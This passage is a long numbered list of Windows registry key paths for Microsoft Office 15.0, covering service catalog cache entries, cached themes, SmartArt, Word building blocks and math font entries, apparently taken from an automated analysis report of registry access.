  1468. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE",
  1469. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Capabilities",
  1470. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ConnectMechanism",
  1471. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsManaged",
  1472. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsRemovable",
  1473. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceOwner",
  1474. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SortOrder",
  1475. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SupportsMultiple",
  1476. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\CapabilitiesMetadata",
  1477. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Description",
  1478. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Name",
  1479. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceId",
  1480. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceUrl",
  1481. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata",
  1482. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1483. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1484. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\KeyTip",
  1485. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\RegularExpression",
  1486. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\Type",
  1487. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails",
  1488. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url16x16",
  1489. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url32x32",
  1490. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url48x48",
  1491. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT",
  1492. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Capabilities",
  1493. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ConnectMechanism",
  1494. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsManaged",
  1495. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsRemovable",
  1496. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceOwner",
  1497. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SortOrder",
  1498. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SupportsMultiple",
  1499. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Description",
  1500. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Name",
  1501. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceId",
  1502. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceUrl",
  1503. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails",
  1504. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url16x16",
  1505. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url32x32",
  1506. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url48x48",
  1507. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE",
  1508. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Capabilities",
  1509. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ConnectMechanism",
  1510. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsManaged",
  1511. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsRemovable",
  1512. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceOwner",
  1513. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SortOrder",
  1514. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SupportsMultiple",
  1515. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Description",
  1516. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Name",
  1517. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceId",
  1518. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceUrl",
  1519. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails",
  1520. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url16x16",
  1521. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url32x32",
  1522. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url48x48",
  1523. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE",
  1524. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Capabilities",
  1525. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ConnectMechanism",
  1526. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsManaged",
  1527. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsRemovable",
  1528. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceOwner",
  1529. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SortOrder",
  1530. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SupportsMultiple",
  1531. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\CapabilitiesMetadata",
  1532. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Description",
  1533. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Name",
  1534. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceId",
  1535. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceUrl",
  1536. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata",
  1537. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1538. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1539. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\KeyTip",
  1540. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\RegularExpression",
  1541. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\Type",
  1542. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails",
  1543. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url16x16",
  1544. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url32x32",
  1545. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url48x48",
  1546. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\OUTLOOKFiles",
  1547. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingConfigurableSettings",
  1548. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastSyncTime",
  1549. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastWriteTime",
  1550. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\General\\LastAutoSavePurgeTime",
  1551. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100A0C00000000000F01FEC\\Usage\\SpellingAndGrammarFiles_3082",
  1552. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100C0400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1036",
  1553. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F10090400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1033",
  1554. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Licensing\\09D07EFC505F4D9CBFD5ACE3217F6654",
  1555. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\ProductFiles",
  1556. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\Trusted Documents\\LastPurgeTime",
  1557. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090434",
  1558. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457503",
  1559. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033917",
  1560. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457510",
  1561. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001105",
  1562. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033919",
  1563. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457464",
  1564. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457475",
  1565. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033925",
  1566. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033927",
  1567. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457485",
  1568. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033937",
  1569. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001106",
  1570. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033921",
  1571. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457444",
  1572. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090430",
  1573. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457515",
  1574. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457496",
  1575. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033929",
  1576. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457491",
  1577. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001103",
  1578. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001104",
  1579. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328975",
  1580. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328986",
  1581. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328972",
  1582. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328998",
  1583. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328983",
  1584. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328925",
  1585. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328951",
  1586. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328990",
  1587. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328940",
  1588. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328932",
  1589. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328908",
  1590. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328935",
  1591. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328919",
  1592. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328916",
  1593. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328884",
  1594. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM02835233",
  1595. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM01840907",
  1596. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851220",
  1597. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851222",
  1598. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851221",
  1599. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851224",
  1600. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851223",
  1601. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851226",
  1602. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851225",
  1603. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851227",
  1604. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851219",
  1605. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851216",
  1606. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851218",
  1607. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851217",
  1608. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998159",
  1609. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998158",
  1610. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328905",
  1611. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328893",
  1612. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Arial Unicode MS",
  1613. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Batang",
  1614. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@BatangChe",
  1615. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@DFKai-SB",
  1616. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Dotum",
  1617. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@DotumChe",
  1618. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@FangSong",
  1619. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Gulim",
  1620. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@GulimChe",
  1621. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Gungsuh",
  1622. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@GungsuhChe",
  1623. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@KaiTi",
  1624. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Malgun Gothic",
  1625. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Meiryo",
  1626. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Meiryo UI",
  1627. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft JhengHei",
  1628. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft JhengHei UI",
  1629. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft YaHei",
  1630. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft YaHei UI",
  1631. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU",
  1632. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU_HKSCS",
  1633. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU_HKSCS-ExtB",
  1634. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU-ExtB",
  1635. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS Gothic",
  1636. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS Mincho",
  1637. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS PGothic",
  1638. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS PMincho",
  1639. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS UI Gothic",
  1640. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@NSimSun",
  1641. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@PMingLiU",
  1642. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@PMingLiU-ExtB",
  1643. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimHei",
  1644. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimSun",
  1645. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimSun-ExtB",
  1646. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Agency FB",
  1647. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Aharoni",
  1648. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Algerian",
  1649. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Andalus",
  1650. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Angsana New",
  1651. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\AngsanaUPC",
  1652. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Aparajita",
  1653. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arabic Typesetting",
  1654. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial",
  1655. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Black",
  1656. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Narrow",
  1657. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Rounded MT Bold",
  1658. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Unicode MS",
  1659. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Baskerville Old Face",
  1660. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Batang",
  1661. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\BatangChe",
  1662. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bauhaus 93",
